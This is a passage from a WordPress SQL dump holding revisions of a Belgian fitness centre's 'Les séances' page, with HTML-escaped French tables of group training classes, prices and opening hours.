(171, 1, '2013-07-03 16:34:43', '2013-07-03 16:34:43', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:34:43', '2013-07-03 16:34:43', '', 11, 'http://www.crosstrainingcenter.be/?p=171', 0, 'revision', '', 0);
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(170, 1, '2013-07-03 16:33:46', '2013-07-03 16:33:46', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:33:46', '2013-07-03 16:33:46', '', 11, 'http://www.crosstrainingcenter.be/?p=170', 0, 'revision', '', 0),
(169, 1, '2013-07-03 16:33:05', '2013-07-03 16:33:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 